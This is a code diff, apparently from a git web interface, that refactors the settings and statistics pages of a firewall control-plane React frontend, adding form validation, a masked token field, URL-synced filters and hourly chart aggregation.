import { Input } from '@evofw/ui/components/input'
|
||||
import { Switch } from '@evofw/ui/components/switch'
|
||||
|
||||
/**
|
||||
* Control plane settings — single page: PageShell + Frame + SettingRow.
|
||||
* SettingsShell (reui-kit) — только при 2+ секциях.
|
||||
* RHF+zod: валидация полей, dirty-state, reveal токена.
|
||||
* Preview: https://reui.io/preview/base/settings-16 · https://reui.io/preview/base/settings-3
|
||||
*/
|
||||
|
||||
@@ -27,20 +35,63 @@ export const Route = createFileRoute('/_auth/settings')({
|
||||
component: SettingsPage,
|
||||
})
|
||||
|
||||
const settingsSchema = z.object({
|
||||
enroll_seed: z
|
||||
.string()
|
||||
.trim()
|
||||
.min(1, 'Обязательное поле — используется в install.sh'),
|
||||
evobgp_api_url: z
|
||||
.string()
|
||||
.trim()
|
||||
.refine(
|
||||
(v) => v === '' || /^https?:\/\//i.test(v),
|
||||
'URL должен начинаться с http:// или https://',
|
||||
),
|
||||
evobgp_api_token: z.string(),
|
||||
agent_sync_interval_sec: z
|
||||
.string()
|
||||
.trim()
|
||||
.refine((v) => {
|
||||
const n = Number(v)
|
||||
return Number.isInteger(n) && n >= 30 && n <= 86400
|
||||
}, 'Целое число секунд, 30–86400'),
|
||||
show_quick_actions: z.string(),
|
||||
})
|
||||
|
||||
type SettingsValues = z.infer<typeof settingsSchema>
|
||||
|
||||
const EMPTY_VALUES: SettingsValues = {
|
||||
enroll_seed: '',
|
||||
evobgp_api_url: '',
|
||||
evobgp_api_token: '',
|
||||
agent_sync_interval_sec: '60',
|
||||
show_quick_actions: 'true',
|
||||
}
|
||||
|
||||
function SettingsPage() {
|
||||
const qc = useQueryClient()
|
||||
const settingsQ = useQuery(settingsQueryOptions())
|
||||
const [form, setForm] = useState<Record<string, string>>({})
|
||||
const canSave = useCan()('fw:settings:admin')
|
||||
|
||||
const form = useForm<SettingsValues>({
|
||||
resolver: zodResolver(settingsSchema),
|
||||
defaultValues: EMPTY_VALUES,
|
||||
mode: 'onBlur',
|
||||
})
|
||||
|
||||
// Seed once — background refetch не должен затирать правки в процессе.
|
||||
useEffect(() => {
|
||||
if (settingsQ.data) setForm(settingsQ.data)
|
||||
if (settingsQ.data) {
|
||||
form.reset({ ...EMPTY_VALUES, ...settingsQ.data })
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [settingsQ.data])
|
||||
|
||||
const save = useMutation({
|
||||
mutationFn: () =>
|
||||
mutationFn: (values: SettingsValues) =>
|
||||
apiFetch('/api/v1/settings', {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify(form),
|
||||
body: JSON.stringify(values),
|
||||
}),
|
||||
onSuccess: () => {
|
||||
toast.success('Сохранено')
|
||||
@@ -50,94 +101,171 @@ function SettingsPage() {
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
})
|
||||
|
||||
const showQuickActions = form.show_quick_actions !== 'false'
|
||||
|
||||
const fields = [
|
||||
{
|
||||
key: 'enroll_seed',
|
||||
label: 'Enroll seed',
|
||||
hint: 'X-EvoFW-Seed для install.sh',
|
||||
},
|
||||
{
|
||||
key: 'evobgp_api_url',
|
||||
label: 'EvoBGP API URL',
|
||||
hint: 'Источник community prefixes',
|
||||
},
|
||||
{
|
||||
key: 'evobgp_api_token',
|
||||
label: 'EvoBGP API token',
|
||||
hint: 'Bearer для интеграции',
|
||||
},
|
||||
{
|
||||
key: 'agent_sync_interval_sec',
|
||||
label: 'Agent sync interval (sec)',
|
||||
hint: 'Рекомендуется 30–60',
|
||||
},
|
||||
]
|
||||
const isDirty = form.formState.isDirty
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
<PageHeader
|
||||
title="Настройки"
|
||||
description="Интеграции и enroll — settings-16"
|
||||
description="Интеграции, enroll и интервал синхронизации"
|
||||
actions={
|
||||
isDirty ? (
|
||||
<Badge variant="warning-light" size="sm">
|
||||
Есть несохранённые изменения
|
||||
</Badge>
|
||||
) : null
|
||||
}
|
||||
/>
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader>
|
||||
<div>
|
||||
<FrameTitle>Control plane</FrameTitle>
|
||||
<FrameDescription>
|
||||
Auth-portal app id: fw · JWT через AUTH_*
|
||||
</FrameDescription>
|
||||
</div>
|
||||
</FrameHeader>
|
||||
<FramePanel className="p-0">
|
||||
<div className="flex flex-col">
|
||||
{fields.map((f, i) => (
|
||||
<form
|
||||
onSubmit={form.handleSubmit((values) => save.mutateAsync(values))}
|
||||
className="flex flex-col gap-4 md:gap-6"
|
||||
>
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader>
|
||||
<div>
|
||||
<FrameTitle>Control plane</FrameTitle>
|
||||
<FrameDescription>
|
||||
Auth-portal app id: fw · JWT через AUTH_*
|
||||
</FrameDescription>
|
||||
</div>
|
||||
</FrameHeader>
|
||||
<FramePanel className="p-0">
|
||||
<div className="flex flex-col">
|
||||
<SettingRow
|
||||
key={f.key}
|
||||
title={f.label}
|
||||
description={f.hint}
|
||||
labelFor={f.key}
|
||||
title="Enroll seed"
|
||||
description="X-EvoFW-Seed для install.sh"
|
||||
labelFor="enroll_seed"
|
||||
last={false}
|
||||
>
|
||||
<Input
|
||||
id={f.key}
|
||||
type={f.key.includes('token') ? 'password' : 'text'}
|
||||
value={form[f.key] ?? ''}
|
||||
onChange={(e) =>
|
||||
setForm((prev) => ({ ...prev, [f.key]: e.target.value }))
|
||||
}
|
||||
<Field data-invalid={Boolean(form.formState.errors.enroll_seed) || undefined}>
|
||||
<Input
|
||||
id="enroll_seed"
|
||||
{...form.register('enroll_seed')}
|
||||
aria-invalid={Boolean(form.formState.errors.enroll_seed) || undefined}
|
||||
/>
|
||||
<FieldError errors={[form.formState.errors.enroll_seed]} />
|
||||
</Field>
|
||||
</SettingRow>
|
||||
<SettingRow
|
||||
title="EvoBGP API URL"
|
||||
description="Источник community prefixes"
|
||||
labelFor="evobgp_api_url"
|
||||
last={false}
|
||||
>
|
||||
<Field data-invalid={Boolean(form.formState.errors.evobgp_api_url) || undefined}>
|
||||
<Input
|
||||
id="evobgp_api_url"
|
||||
placeholder="https://…"
|
||||
{...form.register('evobgp_api_url')}
|
||||
aria-invalid={Boolean(form.formState.errors.evobgp_api_url) || undefined}
|
||||
/>
|
||||
<FieldError errors={[form.formState.errors.evobgp_api_url]} />
|
||||
</Field>
|
||||
</SettingRow>
|
||||
<SettingRow
|
||||
title="EvoBGP API token"
|
||||
description="Bearer для интеграции"
|
||||
labelFor="evobgp_api_token"
|
||||
last={false}
|
||||
>
|
||||
<TokenField form={form} />
|
||||
</SettingRow>
|
||||
<SettingRow
|
||||
title="Интервал синхронизации агентов (сек)"
|
||||
description="Как часто агенты забирают политику (30–86400)"
|
||||
labelFor="agent_sync_interval_sec"
|
||||
last={false}
|
||||
>
|
||||
<Field data-invalid={Boolean(form.formState.errors.agent_sync_interval_sec) || undefined}>
|
||||
<Input
|
||||
id="agent_sync_interval_sec"
|
||||
inputMode="numeric"
|
||||
className="max-w-32"
|
||||
{...form.register('agent_sync_interval_sec')}
|
||||
aria-invalid={
|
||||
Boolean(form.formState.errors.agent_sync_interval_sec) ||
|
||||
undefined
|
||||
}
|
||||
/>
|
||||
<FieldError
|
||||
errors={[form.formState.errors.agent_sync_interval_sec]}
|
||||
/>
|
||||
</Field>
|
||||
</SettingRow>
|
||||
<SettingRow
|
||||
title="Быстрые действия"
|
||||
description="Показывать Quick Actions на панели и у агентов"
|
||||
last
|
||||
>
|
||||
<Controller
|
||||
control={form.control}
|
||||
name="show_quick_actions"
|
||||
render={({ field }) => (
|
||||
<Switch
|
||||
checked={field.value !== 'false'}
|
||||
onCheckedChange={(checked) =>
|
||||
field.onChange(checked ? 'true' : 'false')
|
||||
}
|
||||
aria-label="Быстрые действия"
|
||||
/>
|
||||
)}
|
||||
/>
|
||||
</SettingRow>
|
||||
))}
|
||||
<SettingRow
|
||||
title="Быстрые действия"
|
||||
description="Показывать Quick Actions на панели и у агентов"
|
||||
last
|
||||
</div>
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
{canSave ? (
|
||||
<div className="flex justify-end">
|
||||
<LoadingButton
|
||||
type="submit"
|
||||
isLoading={save.isPending}
|
||||
disabled={!settingsQ.isSuccess}
|
||||
loadingLabel="Сохранение…"
|
||||
>
|
||||
<Switch
|
||||
checked={showQuickActions}
|
||||
onCheckedChange={(checked) =>
|
||||
setForm((prev) => ({
|
||||
...prev,
|
||||
show_quick_actions: checked ? 'true' : 'false',
|
||||
}))
|
||||
}
|
||||
aria-label="Быстрые действия"
|
||||
/>
|
||||
</SettingRow>
|
||||
Сохранить
|
||||
</LoadingButton>
|
||||
</div>
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
<div className="flex justify-end">
|
||||
<LoadingButton
|
||||
onClick={() => save.mutate()}
|
||||
isLoading={save.isPending}
|
||||
loadingLabel="Сохранение…"
|
||||
>
|
||||
Сохранить
|
||||
</LoadingButton>
|
||||
</div>
|
||||
) : null}
|
||||
</form>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
|
||||
/** Password-поле с reveal (Eye toggle). */
|
||||
function TokenField({
|
||||
form,
|
||||
}: {
|
||||
form: ReturnType<typeof useForm<SettingsValues>>
|
||||
}) {
|
||||
const [visible, setVisible] = useState(false)
|
||||
const invalid = Boolean(form.formState.errors.evobgp_api_token)
|
||||
return (
|
||||
<Field data-invalid={invalid || undefined}>
|
||||
<div className="relative">
|
||||
<Input
|
||||
id="evobgp_api_token"
|
||||
type={visible ? 'text' : 'password'}
|
||||
className="pr-10"
|
||||
autoComplete="off"
|
||||
{...form.register('evobgp_api_token')}
|
||||
/>
|
||||
<Button
|
||||
type="button"
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
className="absolute top-1/2 right-1 -translate-y-1/2"
|
||||
aria-label={visible ? 'Скрыть токен' : 'Показать токен'}
|
||||
onClick={() => setVisible((v) => !v)}
|
||||
>
|
||||
{visible ? (
|
||||
<EyeOffIcon className="size-3.5" />
|
||||
) : (
|
||||
<EyeIcon className="size-3.5" />
|
||||
)}
|
||||
</Button>
|
||||
</div>
|
||||
<FieldError errors={[form.formState.errors.evobgp_api_token]} />
|
||||
</Field>
|
||||
)
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { createFileRoute } from '@tanstack/react-router'
|
||||
import { createFileRoute, useNavigate } from '@tanstack/react-router'
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import { useCallback, useMemo, useState } from 'react'
|
||||
import type { ColumnDef } from '@tanstack/react-table'
|
||||
@@ -21,7 +21,11 @@ import {
|
||||
FramePanel,
|
||||
FrameTitle,
|
||||
} from '@/components/reui/frame'
|
||||
import { UpdatedAtLabel } from '@/components/updated-at-label'
|
||||
import { dashboardQueryOptions, recentStatsQueryOptions } from '@/queries'
|
||||
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||
import { searchToFilters } from '@/lib/search-params'
|
||||
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
||||
import {
|
||||
ChartContainer,
|
||||
ChartTooltip,
|
||||
@@ -38,28 +42,80 @@ type StatRow = {
|
||||
recorded_at: string
|
||||
}
|
||||
|
||||
type StatsSearch = {
|
||||
f?: Filter[]
|
||||
}
|
||||
|
||||
/** URL-состояние страницы: f (deep-link и refresh сохраняют вид). */
|
||||
function parseStatsSearch(search: Record<string, unknown>): StatsSearch {
|
||||
const f = searchToFilters(search.f)
|
||||
return {
|
||||
f: f.length > 0 ? f : undefined,
|
||||
}
|
||||
}
|
||||
|
||||
export const Route = createFileRoute('/_auth/stats')({
|
||||
validateSearch: parseStatsSearch,
|
||||
component: StatsPage,
|
||||
})
|
||||
|
||||
const chartConfig = {
|
||||
dropped: { label: 'Dropped', color: 'var(--chart-1)' },
|
||||
accepted: { label: 'Accepted', color: 'var(--chart-2)' },
|
||||
dropped: { label: 'Заблокировано', color: 'var(--chart-1)' },
|
||||
accepted: { label: 'Пропущено', color: 'var(--chart-2)' },
|
||||
} satisfies ChartConfig
|
||||
|
||||
function StatsPage() {
|
||||
const navigate = useNavigate({ from: Route.fullPath })
|
||||
const dash = useQuery(dashboardQueryOptions())
|
||||
const stats = useQuery(recentStatsQueryOptions())
|
||||
const [filters, setFilters] = useState<Filter[]>([])
|
||||
const filters = Route.useSearch().f ?? []
|
||||
|
||||
const series = [...(stats.data?.items ?? [])]
|
||||
.reverse()
|
||||
.slice(-40)
|
||||
.map((s) => ({
|
||||
t: s.recorded_at.slice(11, 19),
|
||||
dropped: s.packets_dropped,
|
||||
accepted: s.packets_accepted,
|
||||
}))
|
||||
/** Обновление URL-состояния (f) без перезагрузки. */
|
||||
const setStatsFilters = useCallback(
|
||||
(nextFilters: Filter[]) => {
|
||||
void navigate({
|
||||
search: (prev) => ({
|
||||
...parseStatsSearch(prev as Record<string, unknown>),
|
||||
f: nextFilters,
|
||||
}),
|
||||
replace: true,
|
||||
})
|
||||
},
|
||||
[navigate],
|
||||
)
|
||||
|
||||
/**
|
||||
* Часовая агрегация: пик счётчиков за час. Счётчики агентов смешанной
|
||||
* семантики (absolute/presence), поэтому суммирование сэмплов дало бы
|
||||
* двойной счёт — берём максимум наблюдавшегося уровня за час.
|
||||
*/
|
||||
const series = useMemo(() => {
|
||||
const byHour = new Map<
|
||||
string,
|
||||
{ t: string; label: string; dropped: number; accepted: number }
|
||||
>()
|
||||
for (const s of stats.data?.items ?? []) {
|
||||
const d = new Date(s.recorded_at)
|
||||
if (Number.isNaN(d.getTime())) continue
|
||||
const key = `${s.recorded_at.slice(0, 13)}:00:00`
|
||||
const entry = byHour.get(key) ?? {
|
||||
t: key,
|
||||
label: d.toLocaleTimeString('ru-RU', {
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
}),
|
||||
dropped: 0,
|
||||
accepted: 0,
|
||||
}
|
||||
entry.dropped = Math.max(entry.dropped, s.packets_dropped)
|
||||
entry.accepted = Math.max(entry.accepted, s.packets_accepted)
|
||||
byHour.set(key, entry)
|
||||
}
|
||||
return [...byHour.values()]
|
||||
.sort((a, b) => a.t.localeCompare(b.t))
|
||||
.slice(-48)
|
||||
.map(({ t: _t, ...rest }) => rest)
|
||||
}, [stats.data])
|
||||
|
||||
const rows: StatRow[] = useMemo(
|
||||
() =>
|
||||
@@ -76,7 +132,7 @@ function StatsPage() {
|
||||
const kpiCards: KpiStatCard[] = [
|
||||
{
|
||||
id: 'd',
|
||||
label: 'Dropped (sum)',
|
||||
label: 'Заблокировано (сумма)',
|
||||
value: dash.data?.packets_dropped ?? 0,
|
||||
icon: <BanIcon aria-hidden />,
|
||||
iconClassName: 'text-warning',
|
||||
@@ -84,14 +140,14 @@ function StatsPage() {
|
||||
},
|
||||
{
|
||||
id: 'a',
|
||||
label: 'Accepted (sum)',
|
||||
label: 'Пропущено (сумма)',
|
||||
value: dash.data?.packets_accepted ?? 0,
|
||||
icon: <CheckCircle2Icon aria-hidden />,
|
||||
iconClassName: 'text-success',
|
||||
},
|
||||
{
|
||||
id: 'o',
|
||||
label: 'Online agents',
|
||||
label: 'Агентов онлайн',
|
||||
value: dash.data?.agents_online ?? 0,
|
||||
icon: <ServerIcon aria-hidden />,
|
||||
iconClassName: 'text-info',
|
||||
@@ -102,7 +158,7 @@ function StatsPage() {
|
||||
() => [
|
||||
{
|
||||
key: 'agent_id',
|
||||
label: 'Agent',
|
||||
label: 'Агент',
|
||||
type: 'text',
|
||||
placeholder: 'agent id…',
|
||||
},
|
||||
@@ -119,7 +175,9 @@ function StatsPage() {
|
||||
() => [
|
||||
{
|
||||
accessorKey: 'agent_id',
|
||||
header: 'Agent',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Агент" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="font-mono text-xs">
|
||||
{row.original.agent_id.slice(0, 8)}
|
||||
@@ -128,23 +186,35 @@ function StatsPage() {
|
||||
},
|
||||
{
|
||||
accessorKey: 'recorded_at',
|
||||
header: 'Time',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Время" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-xs">{row.original.recorded_at}</span>
|
||||
<span className="text-xs tabular-nums">
|
||||
{formatStampDateTime(row.original.recorded_at)}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: 'packets_dropped',
|
||||
header: 'Drop',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Заблокировано" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">{row.original.packets_dropped}</span>
|
||||
<span className="text-warning tabular-nums">
|
||||
{formatNumber(row.original.packets_dropped)}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: 'packets_accepted',
|
||||
header: 'Accept',
|
||||
header: ({ column }) => (
|
||||
<DataGridColumnHeader column={column} title="Пропущено" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">{row.original.packets_accepted}</span>
|
||||
<span className="text-success tabular-nums">
|
||||
{formatNumber(row.original.packets_accepted)}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
],
|
||||
@@ -156,12 +226,13 @@ function StatsPage() {
|
||||
<PageHeader
|
||||
title="Статистика"
|
||||
description="История apply-report counters"
|
||||
actions={<UpdatedAtLabel updatedAt={stats.dataUpdatedAt} />}
|
||||
/>
|
||||
<KpiStatGrid cards={kpiCards} isLoading={dash.isLoading} />
|
||||
|
||||
<Frame dense spacing="sm">
|
||||
<FrameHeader>
|
||||
<FrameTitle>Тренд (последние samples)</FrameTitle>
|
||||
<FrameTitle>Активность по часам (пик за час)</FrameTitle>
|
||||
</FrameHeader>
|
||||
<FramePanel>
|
||||
{series.length === 0 ? (
|
||||
@@ -203,12 +274,13 @@ function StatsPage() {
|
||||
getRowId={(r) => r.id}
|
||||
filterFields={filterFields}
|
||||
filters={filters}
|
||||
onFiltersChange={setFilters}
|
||||
onClearFilters={() => setFilters([])}
|
||||
onFiltersChange={setStatsFilters}
|
||||
onClearFilters={() => setStatsFilters([])}
|
||||
getFilterFieldValue={getFilterFieldValue}
|
||||
isLoading={stats.isLoading}
|
||||
pageSize={20}
|
||||
emptyState={{
|
||||
title: 'Нет samples',
|
||||
title: 'Нет данных',
|
||||
description: 'Агенты ещё не отправили apply-report.',
|
||||
}}
|
||||
/>
|
||||
|
||||
Loaded 100 of 121 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user